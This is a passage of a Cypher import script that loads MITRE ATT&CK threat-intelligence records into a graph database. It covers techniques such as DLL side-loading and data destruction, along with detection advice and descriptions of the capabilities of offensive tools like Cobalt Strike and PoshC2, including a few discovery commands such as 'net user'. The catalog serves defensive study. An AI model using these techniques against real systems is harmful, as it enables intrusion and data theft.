whitelisting\",\"Anti-virus\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\"}", description:"Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"DLL Side-Loading", modified:"2019-07-17T19:22:37.443Z", kill_chain_phases:["f7e678ad-1b1d-4c7a-a40e-d6764ddb649b"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", external_references:["21227ce4-05fe-4498-a227-1d588e17e436", "14bf4f10-cebd-42ae-9864-c41fb1f56cc6", "e92f94b0-6f6d-4c1c-8946-531e59daed29", "17eeb6fe-2791-473e-85a4-70bdef3ccbc7"]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:attack_pattern:SDO;
UNWIND [{_id:399, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-03-14T18:47:17.701Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"File monitoring\",\"Process command-line parameters\",\"Process monitoring\"],\"x_mitre_impact_type\":[\"Availability\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under <code>C:\\\\Windows\\\\System32\\\\</code>.\",\"x_mitre_permissions_required\":[\"User\",\"Administrator\",\"root\",\"SYSTEM\"]}", description:"Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Data Destruction", modified:"2019-07-19T14:34:28.595Z", kill_chain_phases:["41bd1847-7daf-4e22-9f1b-0b83a6f1cc71"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", external_references:["1374b760-1aad-4abf-87f0-9dc9226cb3ad", "f40118b2-091c-4395-b2cc-885677c29684", "eca3184d-6859-4cc8-8bae-1174748eebb6", "6fc7f8ca-0224-4c65-9a0c-4aedb7e691cd", "84c3e14a-a23d-4a81-96d7-d538c2ea7f4a", "b1fc98a1-1039-48c8-961a-25d4bfe4c70d", "d26416ba-73b3-48bb-a795-1f258d2e649d"]}}, {_id:395, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:19.338Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"Windows\",\"macOS\"],\"x_mitre_network_requirements\":false,\"x_mitre_data_sources\":[\"Binary file metadata\",\"File monitoring\",\"Process command-line parameters\",\"Process monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.\\n\\nIf the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header Signatures)\"}", description:"An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Data Compressed", modified:"2019-07-17T18:24:51.771Z", kill_chain_phases:["d9a52ac4-3d9b-4ad2-8ea8-ecf0f55dfda9"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", external_references:["62718736-9b6e-43bd-8372-c0715b046885", "917db1b0-2710-445f-981e-243bbaccfea1"]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:attack_pattern:SDO;
UNWIND [{_id:2062, properties:{id:"relationship--40032198-f003-4171-92a0-faf038f62a0b", type:"relationship"}}, {_id:2067, properties:{id:"relationship--7e46e7c8-e48a-4860-bbcd-224a2d12284a", type:"relationship"}}, {_id:2068, properties:{id:"relationship--2ade8c03-2395-4175-9a22-8541836f27cd", type:"relationship"}}, {_id:2071, properties:{id:"relationship--12547d20-24ca-4145-98b3-dc0849f78ef1", type:"relationship"}}, {_id:2084, properties:{id:"relationship--4a6c44ec-a1de-4fbc-88ef-d3003137a2fc", type:"relationship"}}, {_id:2093, properties:{id:"relationship--a0f1273a-e422-4801-a911-e7cb223ebea2", type:"relationship"}}, {_id:2100, properties:{id:"relationship--88078d5c-bbc9-4c34-858f-e18d472d38d4", type:"relationship"}}, {_id:2110, properties:{id:"relationship--b3d63cea-ad1c-47a5-b9e5-09920bae0537", type:"relationship"}}, {_id:2111, properties:{id:"relationship--e1d0ec8e-0970-4737-9605-1cf8a3ba1371", type:"relationship"}}, {_id:2125, properties:{id:"relationship--9088b52e-8e07-4fd4-ac80-66df7f877adf", type:"relationship"}}, {_id:2127, properties:{id:"relationship--8d7c04bb-ed5b-4339-a115-62089ea6711b", type:"relationship"}}, {_id:2144, properties:{id:"relationship--f004e6c4-0c37-4060-9627-9ec0940aee9c", type:"relationship"}}, {_id:2163, properties:{id:"relationship--fc79f30d-94c8-400e-ab10-21d2a2527788", type:"relationship"}}, {_id:2177, properties:{id:"relationship--fa6f1136-5ead-4d9d-8c0d-bac9176ef591", type:"relationship"}}, {_id:2202, properties:{id:"relationship--d953a664-5a8f-45a9-a3e6-819cb2cef2c7", type:"relationship"}}, {_id:2230, properties:{id:"relationship--5b078c2e-229d-4ef0-8e46-2164354caee9", type:"relationship"}}, {_id:2232, properties:{id:"relationship--f8a90328-b7ee-474a-9773-f5bf501defd3", type:"relationship"}}, {_id:2252, properties:{id:"relationship--5e2e672a-02d4-4510-a629-942d44a558f1", type:"relationship"}}, {_id:2265, properties:{id:"relationship--69d05cb2-ded0-4847-b52e-af7af421f303", type:"relationship"}}, {_id:2267, properties:{id:"relationship--13c8251c-f380-425c-b762-2298e5802dee", type:"relationship"}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:SRO:relationship_node;
UNWIND [{_id:2277, properties:{id:"relationship--7123a6ee-2026-4db8-a983-cbc2932c2a09", type:"relationship"}}, {_id:2282, properties:{id:"relationship--a6929a8b-e9b4-4122-8dd8-4030173346c9", type:"relationship"}}, {_id:2290, properties:{id:"relationship--b368c7c2-a593-45cb-b557-aac668a02656", type:"relationship"}}, {_id:2318, properties:{id:"relationship--743ed7c3-c0e3-4290-9410-f6bec9224c30", type:"relationship"}}, {_id:2320, properties:{id:"relationship--6c5378fb-d1d3-4873-bf38-5553df5b8845", type:"relationship"}}, {_id:2323, properties:{id:"relationship--e66427b2-f353-446a-aedf-decccb926172", type:"relationship"}}, {_id:2337, properties:{id:"relationship--c8c5b766-a719-43bd-988a-cb00beedbba3", type:"relationship"}}, {_id:2339, properties:{id:"relationship--52f31493-1654-4516-960d-c79018f1efd8", type:"relationship"}}, {_id:2363, properties:{id:"relationship--0500bac5-bc50-4529-ae5f-b4e1a85fa7d7", type:"relationship"}}, {_id:2373, properties:{id:"relationship--fa2a7222-e9b1-4e97-82da-42a9c4014bdd", type:"relationship"}}, {_id:2377, properties:{id:"relationship--3674346a-5212-4b42-9c1d-3e73eee95d06", type:"relationship"}}, {_id:2392, properties:{id:"relationship--adf7a6a5-91b0-4c37-9fa5-0bfbb382a838", type:"relationship"}}, {_id:2406, properties:{id:"relationship--55e34506-746d-4895-928b-72c2e358161d", type:"relationship"}}, {_id:2414, properties:{id:"relationship--4f76fd4d-a638-41a0-90b9-bd4ada6f93f3", type:"relationship"}}, {_id:2439, properties:{id:"relationship--0fd5d3bc-d736-43c0-b9ec-f1dcd95411a7", type:"relationship"}}, {_id:2450, properties:{id:"relationship--0efa0a7a-545d-49e2-b0c4-0e251226404a", type:"relationship"}}, {_id:2458, properties:{id:"relationship--3a2d591a-f918-44b3-9e75-7520906b9aa3", type:"relationship"}}, {_id:2460, properties:{id:"relationship--b93d69f2-32a2-43a8-9b45-693d82a51c6b", type:"relationship"}}, {_id:2475, properties:{id:"relationship--e7714693-e792-44f0-a224-9899df75fced", type:"relationship"}}, {_id:1913, properties:{id:"relationship--1a40426a-355c-4d7e-b51c-e95a102b31e2", type:"relationship"}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:SRO:relationship_node;
UNWIND [{_id:1923, properties:{id:"relationship--cdf73653-b2d7-422f-b433-b6a428ff12d4", type:"relationship"}}, {_id:1930, properties:{id:"relationship--52b6181e-881e-4b96-93a3-1292bc2f1352", type:"relationship"}}, {_id:1938, properties:{id:"relationship--c87a8320-8705-4de3-93ee-2db5c00ea461", type:"relationship"}}, {_id:1947, properties:{id:"relationship--896cd1de-ffa7-4f69-a981-2859cc756601", type:"relationship"}}, {_id:1954, properties:{id:"relationship--b2ab26e2-eb90-4f19-b35a-b8a0a5438961", type:"relationship"}}, {_id:1969, properties:{id:"relationship--ab524992-5666-466b-8c12-ec79b269901b", type:"relationship"}}, {_id:1976, properties:{id:"relationship--bb784f1f-fb42-4587-9fe2-9dd5c8dffa5c", type:"relationship"}}, {_id:2006, properties:{id:"relationship--efa2ae6b-8942-4ea2-80ca-b4181dd01427", type:"relationship"}}, {_id:2013, properties:{id:"relationship--8d761618-146f-4219-9b50-a4ceca6b2210", type:"relationship"}}, {_id:2018, properties:{id:"relationship--d295beee-439c-44f9-9908-4cb194331de9", type:"relationship"}}, {_id:2019, properties:{id:"relationship--77fad92a-72ba-44d2-b4cb-a3079fbdb256", type:"relationship"}}, {_id:2025, properties:{id:"relationship--ad39bd23-1dd8-4725-bf00-74c0e564215f", type:"relationship"}}, {_id:2035, properties:{id:"relationship--cae6bbd0-d00e-4cc4-872a-d3ac9cc97684", type:"relationship"}}, {_id:2036, properties:{id:"relationship--e4e9f93d-ae64-4f75-b12b-acbb45c31c41", type:"relationship"}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:SRO:relationship_node;
UNWIND [{start: {_id:2013}, end: {_id:11334}, properties:{}}, {start: {_id:2202}, end: {_id:11334}, properties:{}}, {start: {_id:2110}, end: {_id:11334}, properties:{}}, {start: {_id:2018}, end: {_id:11334}, properties:{}}, {start: {_id:2019}, end: {_id:11334}, properties:{}}, {start: {_id:2025}, end: {_id:11334}, properties:{}}, {start: {_id:2111}, end: {_id:11334}, properties:{}}, {start: {_id:2230}, end: {_id:11334}, properties:{}}, {start: {_id:2232}, end: {_id:11334}, properties:{}}, {start: {_id:2252}, end: {_id:11334}, properties:{}}, {start: {_id:2265}, end: {_id:11334}, properties:{}}, {start: {_id:2267}, end: {_id:11334}, properties:{}}, {start: {_id:2277}, end: {_id:11334}, properties:{}}, {start: {_id:1938}, end: {_id:11334}, properties:{}}, {start: {_id:1947}, end: {_id:11334}, properties:{}}, {start: {_id:1954}, end: {_id:11334}, properties:{}}, {start: {_id:2035}, end: {_id:11334}, properties:{}}, {start: {_id:2036}, end: {_id:11334}, properties:{}}, {start: {_id:2282}, end: {_id:11334}, properties:{}}, {start: {_id:1913}, end: {_id:11334}, properties:{}}] AS row
MATCH (start:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row.start._id})
MATCH (end:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row.end._id})
CREATE (start)-[r:HAS_MARKING]->(end) SET r += row.properties;
UNWIND [{start: {_id:2290}, end: {_id:11334}, properties:{}}, {start: {_id:1923}, end: {_id:11334}, properties:{}}, {start: {_id:2318}, end: {_id:11334}, properties:{}}, {start: {_id:1930}, end: {_id:11334}, properties:{}}, {start: {_id:2320}, end: {_id:11334}, properties:{}}, {start: {_id:2323}, end: {_id:11334}, properties:{}}, {start: {_id:2337}, end: {_id:11334}, properties:{}}, {start: {_id:2339}, end: {_id:11334}, properties:{}}, {start: {_id:2363}, end: {_id:11334}, properties:{}}, {start: {_id:2373}, end: {_id:11334}, properties:{}}, {start: {_id:2377}, end: {_id:11334}, properties:{}}, {start: {_id:2392}, end: {_id:11334}, properties:{}}, {start: {_id:2406}, end: {_id:11334}, properties:{}}, {start: {_id:2414}, end: {_id:11334}, properties:{}}, {start: {_id:2439}, end: {_id:11334}, properties:{}}, {start: {_id:2450}, end: {_id:11334}, properties:{}}, {start: {_id:2458}, end: {_id:11334}, properties:{}}, {start: {_id:2460}, end: {_id:11334}, properties:{}}, {start: {_id:2475}, end: {_id:11334}, properties:{}}, {start: {_id:1969}, end: {_id:11334}, properties:{}}] AS row
MATCH (start:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row.start._id})
MATCH (end:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row.end._id})
CREATE (start)-[r:HAS_MARKING]->(end) SET r += row.properties;
UNWIND [{start: {_id:1976}, end: {_id:11334}, properties:{}}, {start: {_id:2006}, end: {_id:11334}, properties:{}}, {start: {_id:2125}, end: {_id:11334}, properties:{}}, {start: {_id:2127}, end: {_id:11334}, properties:{}}, {start: {_id:2144}, end: {_id:11334}, properties:{}}, {start: {_id:2163}, end: {_id:11334}, properties:{}}, {start: {_id:2177}, end: {_id:11334}, properties:{}}, {start: {_id:2062}, end: {_id:11334}, properties:{}}, {start: {_id:2067}, end: {_id:11334}, properties:{}}, {start: {_id:2068}, end: {_id:11334}, properties:{}}, {start: {_id:2071}, end: {_id:11334}, properties:{}}, {start: {_id:2084}, end: {_id:11334}, properties:{}}, {start: {_id:2093}, end: {_id:11334}, properties:{}}, {start: {_id:2100}, end: {_id:11334}, properties:{}}] AS row
MATCH (start:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row.start._id})
MATCH (end:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row.end._id})
CREATE (start)-[r:HAS_MARKING]->(end) SET r += row.properties;
UNWIND [{start: {_id:11219}, end: {_id:49}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", created:"2018-04-18T17:59:24.739Z", custom:"{}", description:"[Pupy](https://attack.mitre.org/software/S0192) uses PowerView and Pywerview to perform discovery commands such as net user, net group, net local group, etc.", source_ref:"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-04-24T17:52:47.931Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--bdb0d192-3d82-4e5b-92bc-7ef24fd3e65b", external_references:["c68e4ea6-fba2-45bf-99ee-2a7038dfe934"]}}, {start: {_id:11184}, end: {_id:49}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", created:"2019-10-06T19:08:28.953Z", custom:"{}", description:"[MailSniper](https://attack.mitre.org/software/S0413) can be used to obtain account names from Exchange and Office 365 using the <code>Get-GlobalAddressList</code> cmdlet.", source_ref:"tool--999c4e6e-b8dc-4b4f-8d6e-1b829f29997e", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-10-06T19:08:28.953Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--d2437ab0-888b-4490-a825-f70a490b7192", external_references:["c7dc5466-e34e-4ce2-9b03-caf5a8b60e00"]}}, {start: {_id:11166}, end: {_id:1103}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", created:"2019-01-31T01:39:56.551Z", custom:"{}", description:"[Impacket](https://attack.mitre.org/software/S0357) can be used to sniff network traffic via an interface or raw socket.", source_ref:"tool--26c87906-d750-42c5-946c-d4162c73fc7b", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-04-18T21:49:12.757Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--191d6679-d6a8-42e3-b5ff-84a8d5bfb1dd", external_references:["0b632157-d07f-4aac-a897-68018ea24dfd"]}}, {start: {_id:11135}, end: {_id:838}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", created:"2017-12-14T16:46:06.044Z", custom:"{}", description:"[Cobalt Strike](https://attack.mitre.org/software/S0154) can track key presses with a keylogger module.", source_ref:"tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-06-06T19:04:39.507Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--be20faa9-64bf-4a65-86c2-dc12f5695d22", external_references:["c8e63b59-96c2-448c-b433-73652d28f5ab"]}}, {start: {_id:11135}, end: {_id:1095}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", created:"2018-01-16T16:13:52.465Z", custom:"{}", description:"[Cobalt Strike](https://attack.mitre.org/software/S0154) can query shared drives on the local system.", source_ref:"tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-06-06T19:04:39.541Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--e8048bf8-3931-4d6b-b4a6-475ff717cbae", external_references:["c388ff80-cdb9-4da0-80e2-476a24de8510"]}}, {start: {_id:11207}, end: {_id:838}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", created:"2019-04-23T13:43:22.923Z", custom:"{}", description:"[PoshC2](https://attack.mitre.org/software/S0378) has modules for keystroke logging and capturing credentials from spoofed Outlook authentication messages.", source_ref:"tool--4b57c098-f043-4da2-83ef-7588a6d426bc", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-09-16T17:23:48.848Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--5f8f4204-228c-49d3-8ec6-863b13038001", external_references:["f32c35b6-99ba-4168-9674-2ed67308bafb"]}}, {start: {_id:11207}, end: {_id:1163}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", created:"2019-04-23T14:59:04.117Z", custom:"{}", description:"[PoshC2](https://attack.mitre.org/software/S0378) has a number of modules that leverage pass the hash for lateral movement.", source_ref:"tool--4b57c098-f043-4da2-83ef-7588a6d426bc", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-09-16T17:23:48.844Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--64f33d8d-6060-40ab-8fbb-bd8b249702f7", external_references:["d6554092-e963-4b70-a034-667730db9654"]}}, {start: {_id:11207}, end: {_id:1848}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4", created:"2019-04-23T14:59:04.153Z", custom:"{}", description:"[PoshC2](https://attack.mitre.org/software/S0378) has the ability to persist on a system using WMI events.", source_ref:"tool--4b57c098-f043-4da2-83ef-7588a6d426bc", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-09-16T17:23:48.972Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--fbce0681-c5d2-4ea9-b48a-4fc42448f9e0", external_references:["3a51da87-fc8d-40f4-b1f4-dcb679b7bd62"]}}, {start: {_id:11207}, end: {_id:1103}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", created:"2019-04-23T16:12:37.629Z", custom:"{}", description:"[PoshC2](https://attack.mitre.org/software/S0378) contains a module for taking packet captures on compromised hosts.", source_ref:"tool--4b57c098-f043-4da2-83ef-7588a6d426bc", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-09-16T17:23:48.960Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--f9fb0958-7f80-4bd5-80c2-9665124f1d0e", external_references:["28f6c229-5fb4-4aca-8d27-227b35663de5"]}}, {start: {_id:11207}, end: {_id:49}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", created:"2019-04-23T16:12:37.657Z", custom:"{}", description:"[PoshC2](https://attack.mitre.org/software/S0378) can enumerate local and domain user account information.", source_ref:"tool--4b57c098-f043-4da2-83ef-7588a6d426bc", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-09-16T17:23:49.023Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--60f2ddcf-9b88-4a87-8baf-2777c9c49d39", external_references:["dd1135d4-24ec-45b4-9abe-57655669c5ec"]}}, {start: {_id:11194}, end: {_id:1095}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", created:"2017-12-14T16:46:06.044Z", custom:"{}", description:"The <code>net view \\\\remotesystem</code> and <code>net share</code> commands in [Net](https://attack.mitre.org/software/S0039) can be used to find shared drives and directories on remote and local systems respectively.", source_ref:"tool--03342581-f790-4f03-ba41-e82e67392e23", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-04-24T23:39:01.502Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--3b5d1788-c59b-4e84-97b0-b109df608619", external_references:["c5d404b7-5ed1-4307-bd4e-229e051aa962"]}}, {start: {_id:11172}, end: {_id:1331}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a", created:"2018-10-17T00:14:20.652Z", custom:"{}", description:"[Koadic](https://attack.mitre.org/software/S0250) can use Regsvr32 to execute additional payloads.", source_ref:"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2018-10-17T00:14:20.652Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--2853aaaa-982e-49bf-a219-b4f16805b983", external_references:["e154c7f0-90d9-48bf-a94a-38f21500a508"]}}, {start: {_id:11210}, end: {_id:838}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", created:"2018-04-18T17:59:24.739Z", custom:"{}", description:"[PowerSploit](https://attack.mitre.org/software/S0194)'s <code>Get-Keystrokes</code> Exfiltration module can log keystrokes.", source_ref:"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-04-24T23:43:08.090Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--1bd467ff-6e94-40c5-ae4d-2ed7c62bc0d5", external_references:["f29f96af-fe01-4b48-9152-c67bbb143e1f", "d465f276-d8ba-4837-93b5-02b9180d0dce"]}}, {start: {_id:11219}, end: {_id:1095}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", created:"2018-04-18T17:59:24.739Z", custom:"{}", description:"[Pupy](https://attack.mitre.org/software/S0192) can list local and remote shared drives and folders over SMB.", source_ref:"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-04-24T17:52:47.998Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--1ba0b437-e809-479c-a254-172e706c3615", external_references:["bd5573b2-1bab-4eeb-8480-a56c863e9912"]}}, {start: {_id:11172}, end: {_id:1095}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", created:"2018-10-17T00:14:20.652Z", custom:"{}", description:"[Koadic](https://attack.mitre.org/software/S0250) can scan local network for open SMB.", source_ref:"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2018-10-17T00:14:20.652Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--f25505f6-dbd0-4d7b-8e8c-b3885f206cbf", external_references:["162bd29d-e74d-4652-9a6d-beef874bff1c"]}}, {start: {_id:11210}, end: {_id:49}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", created:"2018-04-18T17:59:24.739Z", custom:"{}", description:"[PowerSploit](https://attack.mitre.org/software/S0194)'s <code>Get-ProcessTokenGroup</code> Privesc-PowerUp module can enumerate all SIDs associated with its current token.", source_ref:"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-04-24T23:43:08.123Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"relationship--b70e19d8-9602-4795-9d9b-ef18cdbe5d51", external_references:["030bbfac-6e27-4b87-a130-75e8834110ad", "fbbc681c-20a5-4755-9839-a733749b2c8e"]}}, {start: {_id:11194}, end: {_id:49}, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], target_ref:"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", created:"2017-12-14T16:46:06.044Z", custom:"{}", description:"Commands under <code>net user</code> can be used in [Net](https://attack.mitre.org/software/S0039) to gather information about and manipulate user accounts.", source_ref:"tool--03342581-f790-4f03-ba41-e82e67392e23", type:"relationship", revoked:false, labels:[], granular_markings:[], relationship_type:"uses", modified:"2019-04-24T23:39:01.501Z", created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", 